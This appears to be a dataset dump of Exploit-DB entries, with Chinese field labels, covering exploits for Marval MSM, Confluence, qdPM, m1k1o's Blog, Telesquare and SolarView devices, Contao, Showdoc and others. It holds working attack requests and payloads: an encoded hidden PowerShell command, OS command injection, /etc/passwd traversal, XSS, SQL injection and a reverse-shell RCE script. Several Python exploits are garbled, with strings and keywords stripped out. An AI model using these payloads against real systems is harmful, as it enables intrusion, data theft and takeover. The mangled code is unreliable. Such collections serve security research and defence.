QLWD/code_shield huggingface dataset:
标题: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50956 CVE: 2022-31885 类型: REMOTE 平台: WINDOWS 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)
# Date: 27/5/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://www.marvalnorthamerica.com/
# Software Link: https://www.marvalnorthamerica.com/
# Version: v14.19.0.12476
# Tested on: Windows
# Detailed blog: https://cyber-guy.gitbook.io/cyber-guy/blogs/marval-msm-rce

POST /MSM_Test/RFP/Forms/ScriptHandler.ashx?method=ProcessScript&classPath=%2FMSM_Test%2FRFP%2FForms%2FScriptMaintenance.aspx&classMode=WXr8G2r3eh0wvNjbiIT6aYVgZATjWlaZW0UFQrQrcAku4qWefyYTUu%2BzULTTON0fQaLjNtnCW7VX%2Fj1rYPDpKKN%2F8HPLGRSpVbdvPaR4mPIrSr4Aj22VMuIDEkMTpPhoq3gX8p4TBir56GBTJcpLv1agwKPB%2BWI%2F2TlU%2FjQKzz0%3D HTTP/2
Host: MSMHandler.io
Cookie: ASP.NET_SessionId=arrsgikvbwbagdsvetfvphbu; appNameAuth=B3D1490922B24585684E139359F3BB93D8D92468A906B1FEA01EB4CF760A23DC90BF30327784677BBC00C5860C145602EF39BB9BEBB6A451E57DBF42C47B7D0CDE09F4CE15D2A5BEBFFCE5A7BFCF7DED8D8B17036F2BCE3DDA873B542EED614B9B42E4B5E4AA18BBE32CC0EB864E6825C898A2F465A42E871DF13F19845E171697D5E23688EAD29D3F6B221DBF18002DE5B929DBA88D42B4B518BC95F5BC5F3A3D36722F
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 456
Origin: https://MSMHandler.io
Dnt: 1
Referer: https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptMaintenance.aspx?id=3
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

type=%221%22&content=%22%5Cn%5CnFunction+Pwn()%5Cn++Set+shell+%3D+CreateObject(%5C%22wscript.Shell%5C%22)%5Cn%5Cn%5Cn++++shell.run+%5C%22powershell.exe+-nop+-w+hidden+-E+%5C%22%5C%22JAB2AGEAcgA9AGgAbwBzAHQAbgBhAG0AZQA7AG4AcwBsAG8AbwBrAHUAcAAgAGsAcgBmADUAbAB2AGYANABzAGUAdABtAGoAMgB2AG4AZABiADUAOQBsADQAdgBtAGcAZABtADUAawB0ADkALgAkAHYAYQByAC4AbwBhAHMAdABpAGYAeQAuAGMAbwBtAA%3D%3D%5C%22%5C%22%5C%22%5Cn%5Cn%5CnEnd+Function%5Cn%5CnPwn%22&id=%2226%22&isCi=true URL: https://www.exploit-db.com/exploits/50956
标题: Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS) EDB-ID: 50955 CVE: 2022-29296 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: Avantune Genialcloud ProJ 10 - Cross-Site Scripting (XSS)
# Date: 2022-06-01
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.avantune.com
# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com
# Version: 10
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)
# CVE: CVE-2022-29296


Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the
same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject
and execute arbitrary web scripts or HTML via a crafted payload.

Request parameters affected is "msg".

PoC Request:
GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1
Host: [REDACTED]
Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Cache-Control: max-age=0

PoC Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 11 May 2022 10:51:10 GMT
Connection: close
Content-Length: 8162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><link rel="stylesheet"
...[SNIP]...
<script type="text/javascript"> var Msg = 'Invalid username or password';alert("y0! XSS here :)")//';</script>
...[SNIP]... URL: https://www.exploit-db.com/exploits/50955
标题: SolarView Compact 6.00 - Directory Traversal EDB-ID: 50950 CVE: 2022-29298 类型: REMOTE 平台: HARDWARE 发布日期: 2022-06-03 漏洞利用脚本: # Exploit Title: SolarView Compact 6.00 - Directory Traversal
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : Aiactive
# Author linkedin profile : https://www.linkedin.com/in/ahmedalroky/
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29298

# Tested on: Windows

# Exploit: http://IP_ADDRESS/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg URL: https://www.exploit-db.com/exploits/50950
标题: Confluence Data Center 7.18.0 - Remote Code Execution (RCE) EDB-ID: 50952 CVE: 2022-26134 类型: WEBAPPS 平台: JAVA 发布日期: 2022-06-10 漏洞利用脚本: # Exploit Title: Confluence Data Center 7.18.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

#!/usr/bin/python3

import sys
 requests
 optparse
 multiprocessing

 requestspackages  urllib3
 requestsexceptions  MissingSchema InvalidURL
urllib3disable_warnings

requestEngine  multiprocessingManager
session  requestsSession

 paramResults
paramResults  requestEngine
update

 url
    update
      urlstartswith
        urlurl
    
    headers   
                
                

    
        response  requestsgeturl  +optionsOpt.command+ headersheaders verify allow_redirects
        responsestatus_code  
            url responseheaders

            inputBuffer  responseheaders
            paramResultsappendurlinputBuffer
        
            

     requestsexceptionsConnectionError
        url
        
     multiprocessinglog_to_stderr
        
     KeyboardInterrupt
        
        exit
     MissingSchema InvalidURL
        
    
    
 
    
    

    
 
    banner
    
    update
    
    syssetrecursionlimit

      optionsOptfilehosts
        url  optionsOpturl
        spiderXplurl
    
        f  optionsOptfilehosts
        urls  strip freadlines

        multiReq  multiprocessingPooloptionsOptthreads_set
        
            multiReqspiderXpl urls
            multiReqclose
            multiReqjoin
         UnboundLocalError
            
         KeyboardInterrupt
            exit


     optionsOptoutput
          optionsOptoutput

         optionsOptoutput   f
             result  paramResults
                fwrite  result
        fclose

 __name__  
    parser  optparseOptionParser

    parseradd_option  action dest 
    parseradd_option  dest 
    parseradd_option  dest default
    parseradd_option  dest default
    parseradd_option  dest  default
    parseradd_option  dest  default
    optionsOpt args  parserparse_args

    main URL: https://www.exploit-db.com/exploits/50952
标题: Microweber CMS 1.2.15 - Account Takeover EDB-ID: 50947 CVE: 2022-1631 类型: WEBAPPS 平台: PHP 发布日期: 2022-06-03 漏洞利用脚本: # Exploit Title: Microweber CMS 1.2.15 - Account Takeover
# Date: 2022-05-09
# Exploit Author: Manojkumar J
# Vendor Homepage: https://github.com/microweber/microweber
# Software Link: https://github.com/microweber/microweber/releases/tag/v1.2.15
# Version: <=1.2.15
# Tested on: Windows10
# CVE : CVE-2022-1631

# Description:

Microweber Drag and Drop Website Builder E-commerce CMS v1.2.15 Oauth
Misconfiguration Leads To Account Takeover.

# Steps to exploit:

1. Create an account with the victim's email address.

Register endpoint: https://target-website.com/register#

2. When the victim tries to login with default Oauth providers like Google,
Github, Microsoft, Twitter, Linkedin, Telegram or Facebook etc(auth login)
with that same e-mail id that we created account before, via this way we
can take over the victim's account with the recently created login
credentials. URL: https://www.exploit-db.com/exploits/50947
标题: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection EDB-ID: 50948 CVE: 2021-46422 类型: REMOTE 平台: HARDWARE 发布日期: 2022-06-03 漏洞利用脚本: #!/usr/bin/python3 

# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No

import requests 
import argparse 
import sys
from xml.etree import ElementTree

def sysArgument():
 ap = argparse.ArgumentParser()
 apadd_argument required  
 args  apparse_args
  args

 host
 url    host

 

 
  rsl  requestsgeturl 
  
  requestsexceptionsTimeout  err
   SystemExiterr

 host
 url    host   

 
 rsl  requestsgeturl

 rslstatus_code  
  
  

  
  cmd  

  
   rsl  requestsgeturl  cmd stream
   xmlparser  ElementTreeiterparserslraw

   cmdRet  

    event elem  xmlparser
    elemtag  
     cmdRetappendelemtext
  
   
   sysexit

  cmdRet  
   
     cmdRetstrip
   
    end
   
   
    cmdInput  

    cmdInput  
     
     sysexit

    rsl  requestsgeturl  cmdInput stream
    xmlparser  ElementTreeiterparserslraw


     event elem  xmlparser
     elemtag  
      elemtextstrip

    
    
  
   
   sysexit

 
  
  rslstatus_code
  sysexit

 
 host  sysArgument

 checkHosthost
 exploithost

  __name__  
 main URL: https://www.exploit-db.com/exploits/50948
标题: Contao 4.13.2 - Cross-Site Scripting (XSS) EDB-ID: 50945 CVE: 2022-1588 类型: WEBAPPS 平台: PHP 发布日期: 2022-06-03 漏洞利用脚本: # Exploit Title: Contao 4.13.2 - Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 04/28/2022
# Exploit Author: Chetanya Sharma @AggressiveUser
# Vendor Homepage: https://contao.org/en/
# Software Link: https://github.com/contao/contao/releases/tag/4.13.2
# Version: [ 4.13.2 ] 
# Tested on: [KALI OS]
# CVE : CVE-2022-1588
# References: 
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
---------------

Steps to reproduce:
Navigate to the below URL
URL: https://localhost/contao/"><svg//onload=alert(112233)> URL: https://www.exploit-db.com/exploits/50945
标题: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) (v2) EDB-ID: 50944 CVE: 2020-7246 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-25 漏洞利用脚本: # Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954 (https://www.exploit-db.com/exploits/47954)
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution




 sys
 requests
 lxml  html
 argparse  ArgumentParser

session_requests  requestssession

 userid username csrftoken_ EMAIL HOSTNAME uservar
    request_1  
          
          userid
          uservar
          csrftoken_
          username
          
          EMAIL
          
          
        
     request_1


 userid username csrftoken_ EMAIL HOSTNAME
    request_1  multifrmuserid username csrftoken_ EMAIL HOSTNAME 
    new  session_requestspostHOSTNAME   filesrequest_1
    request_2  multifrmuserid username csrftoken_ EMAIL HOSTNAME 
    new1  session_requestspostHOSTNAME   filesrequest_2
    request_3  
          
          userid
          
          csrftoken_
          username
          
          EMAIL
          
           
        
    upload_req  session_requestspostHOSTNAME   filesrequest_3


 HOSTNAME EMAIL PASSWORD
    url  HOSTNAME  
    result  session_requestsgeturl
    
    login_tree  htmlfromstringresulttext
    authenticity_token  login_treexpath
    payload   EMAIL  PASSWORD  authenticity_token
    result  session_requestspostHOSTNAME   datapayload headersrefererHOSTNAME  
    
    account_page  session_requestsgetHOSTNAME  
    account_tree  htmlfromstringaccount_pagecontent
    userid  account_treexpath
    username  account_treexpath
    csrftoken_  account_treexpath
    requserid username csrftoken_ EMAIL HOSTNAME
    get_file  session_requestsgetHOSTNAME  
    final_tree  htmlfromstringget_filecontent
    backdoor  requestsgetHOSTNAME  
    count  
    dateStamp  
    backdoorFile  
     line  backdoortextsplit
        count  count  
           line
            
                start  
                end  
                line  line
                dateStampNew  linelineindexstartlineindexend
                 dateStampNew  dateStamp
                    dateStamp  dateStampNew
                      dateStamp
                    backdoorFile  linelineindexlineindex
            
                
                
        
      HOSTNAME    backdoorFile  

 __name__  
    
    parser  ArgumentParserdescription
    parseradd_argument  dest 
    parseradd_argument  dest 
    parseradd_argument  dest 
    args  parserparse_args
    
      sysargv    argshostname   argsemail   argspassword 
            mainargshostname argsemail argspassword
    
        parserprint_help URL: https://www.exploit-db.com/exploits/50944
标题: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50943 CVE: 2022-23626 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-23 漏洞利用脚本: # Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-01-06
# Exploit Author: Malte V
# Vendor Homepage: https://github.com/m1k1o/blog
# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip
# Version: 1.3 and below
# Tested on: Linux
# CVE : CVE-2022-23626

import argparse
import json
import re
from base64 import b64encode
import requests as req
 bs4  BeautifulSoup

parser  argparseArgumentParserdescription
parseradd_argument    default required
parseradd_argument    default
                    required
parseradd_argument    default
                    required
parseradd_argument    default
                    required
parseradd_argument    default required
parseradd_argument    default required

args  parserparse_args

username  args
password  args
lhost_ip  args
lhost_port  args
address  args
port  args
url  f

blog_cookie  
csrf_token  
exploit_file_name  
header  
     f
     
     
     
     
     f
     f



 complete_url
     blog_cookie
    cookie_header  
      blog_cookie
        cookie_header  f
    result  reqgeturlcomplete_url headerscookie_header
     resultstatus_code  
        blog_cookie  resultcookiesget_dict
        f
        grep_csrfresult


 result
     csrf_token
    csrf_regex  r
    soup  BeautifulSoupresulttext 
    script_tag  soupfindAllcontents
    csrf_token  researchcsrf_regex script_taggroup
    f


 username password
    get_cookieurl
    login_url  f
    login_data  f
    login_header  
         f
         
         
         
         
         f
         f
    
    result  reqposturllogin_url headerslogin_header datalogin_data
    soup  BeautifulSoupresulttext 
    login_content  jsonloadssouptext
     login_contentget
        
    
        


 result
     blog_cookie
    blog_cookie  resultcookiesget_dict


 command
     f


 
    payload_header  
         f
         
         
         
         
         f
         f
    
    upload_url  f
    command  f
    payload  generate_payloadcommand
    f
    result  reqposturlupload_url headerspayload_header datapayload proxies  
    set_exploit_file_nameresultcontentdecode


 data
     exploit_file_name
    file_regex  r
    exploit_file_name  researchfile_regex datagroup


 file_name
     header
    complete_url  f
    
    result  reqgeturlcomplete_url


 
    yes     
    no   
    choice  
     choice  yes
         
     choice  no
        f
         

 
    enabled_listener  check_reverse_shell
     enabled_listener
        loginusername password
        send_payload
        call_malicious_phpexploit_file_name


 __name__  
    main URL: https://www.exploit-db.com/exploits/50943
标题: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS) EDB-ID: 50941 CVE: 2022-0967 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-17 漏洞利用脚本: # Exploit Title: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)
# Exploit Author: Akshay Ravi
# Vendor Homepage: https://github.com/star7th/showdoc
# Software Link: https://github.com/star7th/showdoc/releases/tag/v2.10.3
# Version: <= 2.10.3
# Tested on: macOS Monterey
# CVE : CVE-2022-0967

Description: Stored XSS via uploading file in .ofd format

1. Create a file with .ofd extension and add XSS Payload inside the file
 
 filename = "payload.ofd"
 payload = "<script>alert(1)</script>"

2. Login to showdoc v2.10.2 and go to file library
 
 Endpoint = "https://www.site.com/attachment/index"

3. Upload the payload on file library and click on the check button
4. The XSS payload will executed once we visited the URL URL: https://www.exploit-db.com/exploits/50941
标题: SolarView Compact 6.0 - OS Command Injection EDB-ID: 50940 CVE: 2022-29303 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-17 漏洞利用脚本: # Exploit Title: SolarView Compact 6.0 - OS Command Injection
# Date: 2022-05-15
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: ver.6.00
# Vendor home page : https://www.contec.com/
# Authentication Required: No
# CVE : CVE-2022-29303
# Tested on: Windows

# Exploit
# HTTP Request :
POST /conf_mail.php HTTP/1.1
Host: HOST_IP
Content-Length: 77
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://HOST_IP/conf_mail.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M URL: https://www.exploit-db.com/exploits/50940
标题: TLR-2005KSH - Arbitrary File Delete EDB-ID: 50935 CVE: 2021-46424 类型: WEBAPPS 平台: HARDWARE 发布日期: 2022-05-12 漏洞利用脚本: # Exploit Title: TLR-2005KSH - Arbitrary File Delete
# Date: 2022-05-11
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-46424

# Proof-of-Concept
# Request

DELETE /cgi-bin/test2.txt HTTP/1.1
Host: 220.89.223.215:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close URL: https://www.exploit-db.com/exploits/50935
标题: College Management System 1.0 - 'course_code' SQL Injection (Authenticated) EDB-ID: 50933 CVE: 2022-28079 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-12 漏洞利用脚本: # Exploit Title: College Management System - 'course_code' SQL Injection (Authenticated)
# Date: 2022-24-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://code-projects.org/college-management-system-in-php-with-source-code/
# Software Link: https://download.code-projects.org/details/1c3b87e5-f6a6-46dd-9b5f-19c39667866f
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-28079
# References: https://nvd.nist.gov/vuln/detail/CVE-2022-28079

------------------------------------------------------------------------------------

1. Description:
----------------------

College Management System 1.0 allows SQL Injection via parameter 'course_code' in
/College-Management-System/admin/asign-single-student-subjects.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'course_code' parameter and save it like poc.txt Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql


3. Example payload:
----------------------

boolean-based blind
Payload: submit=Press&roll_no=3&course_code=-6093' OR 2121=2121 AND 'ddQQ'='ddQQ


4. Burpsuite request:
----------------------

POST /College-Management-System/admin/asign-single-student-subjects.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 80
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=jhnlvntmv8q4gtgsof9l1f1hhe
Referer: http://localhost/College-Management-System/admin/asign-single-student-subjects.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

submit=Press&roll_no=3&course_code=Select+Course%27+OR+1%3d1+OR+%27ns%27%3d%27ns URL: https://www.exploit-db.com/exploits/50933
标题: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS) EDB-ID: 50937 CVE: 2022-29727 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-05-17 漏洞利用脚本: # Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)
# Date: May 11 2022
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: https://surveysparrow.com/
# Software Link: https://surveysparrow.com/enterprise-survey-software/
# Version: 2022
# Tested on: Windows
# CVE : CVE-2022-29727
# References:
https://www.tenable.com/cve/CVE-2022-29727
https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022

#POC

For Stored XSS

Visit
https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//

XSS Executed URL: https://www.exploit-db.com/exploits/50937
标题: SDT-CW3B1 1.1.0 - OS Command Injection EDB-ID: 50936 CVE: 2021-46422 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-17 漏洞利用脚本: # Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
# Date: 2022-05-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# CVE : CVE-2021-46422

# Tested on: Windows

# HTTP Request
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: IP_HERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Referer: http:// IP_HERE /admin/system_command.shtml
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close URL: https://www.exploit-db.com/exploits/50936